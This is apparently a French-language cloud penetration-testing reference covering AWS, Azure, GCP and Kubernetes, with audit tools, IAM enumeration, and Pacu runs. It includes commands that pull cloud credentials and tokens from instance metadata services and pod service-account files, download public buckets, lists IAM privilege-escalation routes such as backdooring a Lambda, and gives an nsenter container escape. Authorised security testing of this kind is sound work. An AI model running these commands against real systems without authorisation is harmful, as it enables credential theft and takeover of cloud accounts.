cloud-pentest

name	cloud-pentest
description	Guide complet de pentest cloud AWS, Azure, GCP — ScoutSuite, Prowler, Pacu, énumération IAM, buckets S3, métadonnées, conteneurs, Kubernetes, et techniques d'attaque cloud-native.

Cloud Pentesting — AWS, Azure, GCP

---

Principes fondamentaux

Attention : Toujours vérifier la politique de pentest du fournisseur cloud. AWS/Azure/GCP exigent une autorisation préalable pour les tests d'intrusion.

---

1. Outils d'audit automatisé

ScoutSuite — Multi-cloud (AWS, Azure, GCP)

pip install scoutsuite

# AWS
scout aws --profile default

# Azure
scout azure --cli

# GCP
scout gcp --project-id mon-projet

# Rapport HTML généré dans le dossier scoutsuite-report/

Prowler — Audit de sécurité AWS

pip install prowler
prowler aws                         # Audit complet
prowler aws -g iam                  # Groupe spécifique
prowler aws -c s3_bucket_public_access  # Check spécifique
prowler aws -M csv,json,html        # Multi-format
prowler gcp -p mon-projet           # GCP
prowler azure                       # Azure

---

2. AWS Pentesting

Énumération IAM

# Lister les utilisateurs (si credentials)
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-attached-user-policies --user-name <nom>
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Simulateur de politique
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names s3:ListBucket

# Énumération des permissions
aws iam list-account-aliases
aws sts get-caller-identity

Pacu — Framework d'exploitation AWS

git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu && python3 cli.py

# Commandes Pacu
Pacu > import_keys default
Pacu > run iam__enum_users_roles_policies_groups
Pacu > run iam__enum_permissions
Pacu > run s3__enum_buckets
Pacu > run iam__privesc_scan
Pacu > run ec2__enum

S3 Buckets

# Détecter des buckets publics
aws s3 ls s3://nom-bucket
aws s3 ls s3://nom-bucket --no-sign-request

# Énumération par mot
python3 s3scanner.py --bucket cible-dev
# Ou via : https://github.com/sa7mon/S3Scanner

# Télécharger tout le contenu
aws s3 sync s3://bucket-public ./donnees --no-sign-request

Métadonnées AWS (SSRF)

# Instance Metadata Service (IMDS)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# IMDSv2 (avec token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

Élévation de privilèges IAM

# Techniques classiques
# iam:CreatePolicyVersion (modifier une politique existante)
# iam:CreateAccessKey (créer des clés pour un autre utilisateur)
# iam:UpdateLoginProfile (changer le mot de passe)
# iam:PassRole + ec2:RunInstances
# sts:AssumeRole (usurper un rôle)
# lambda:UpdateFunctionCode (backdoor une Lambda)

---

3. Azure Pentesting

Énumération

# Connexion
az login
az account list

# Lister les ressources
az resource list
az vm list
az storage account list
az keyvault list
az ad user list
az ad group list --output table
az role assignment list --all

# Stockage
az storage container list --account-name <nom>
az storage blob list --container-name <nom> --account-name <nom>

MicroBurst — Outils Azure

git clone https://github.com/NetSPI/MicroBurst
# Scripts PowerShell pour l'énumération Azure
Import-Module .\MicroBurst.psm1

# Énumération
Invoke-EnumerateAzureSubDomains -Base domaine
Get-AzPasswords

Métadonnées Azure (SSRF)

curl http://169.254.169.254/metadata/instance?api-version=2021-02-01
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

---

4. GCP Pentesting

Énumération

gcloud auth list
gcloud projects list
gcloud compute instances list
gcloud iam service-accounts list
gcloud storage ls
gcloud storage ls gs://bucket-public

Métadonnées GCP

curl http://metadata.google.internal/computeMetadata/v1/ -H "Metadata-Flavor: Google"
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata-Flavor: Google"

GCPBucketBrute

python3 gcpbucketbrute.py -k cible

---

5. Kubernetes / Conteneurs

Outils

# kube-hunter
kube-hunter --remote cible.com

# kubeaudit
kubeaudit all

# kubesec (analyse de manifestes)
kubesec scan deployment.yaml

# Checkov (IaC scanning)
checkov -d ./terraform/
checkov -f deployment.yaml

# Trivy (scan d'images)
trivy image nginx:latest

Attaques Kubernetes

# Si on a accès à un pod
# Vérifier le service account
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Énumérer l'API Kubernetes
curl -k https://kubernetes.default/api/v1/namespaces/ -H "Authorization: Bearer $(cat token)"

# Fuite vers le node
# Si privileged ou hostPID/hostNetwork = true
nsenter -t 1 -m -u -i -n -- /bin/bash

---

6. Cheatsheet AWS rapide

# 1. Identité (qui suis-je ?)
aws sts get-caller-identity

# 2. Énumération IAM
aws iam list-users; aws iam list-roles; aws iam list-policies

# 3. S3
aws s3 ls; aws s3 ls s3://nom-bucket

# 4. EC2
aws ec2 describe-instances
aws ec2 describe-security-groups

# 5. Lambda
aws lambda list-functions; aws lambda get-function --function-name <nom>

# 6. Metadata (depuis une instance EC2)
curl 169.254.169.254/latest/meta-data/

# 7. Audit automatisé
prowler aws; scout aws

Ressources

• Pacu : https://github.com/RhinoSecurityLabs/pacu
• ScoutSuite : https://github.com/nccgroup/ScoutSuite
• Prowler : https://github.com/prowler-cloud/prowler
• HackTricks Cloud : https://cloud.hacktricks.xyz
• kube-hunter : https://github.com/aquasecurity/kube-hunter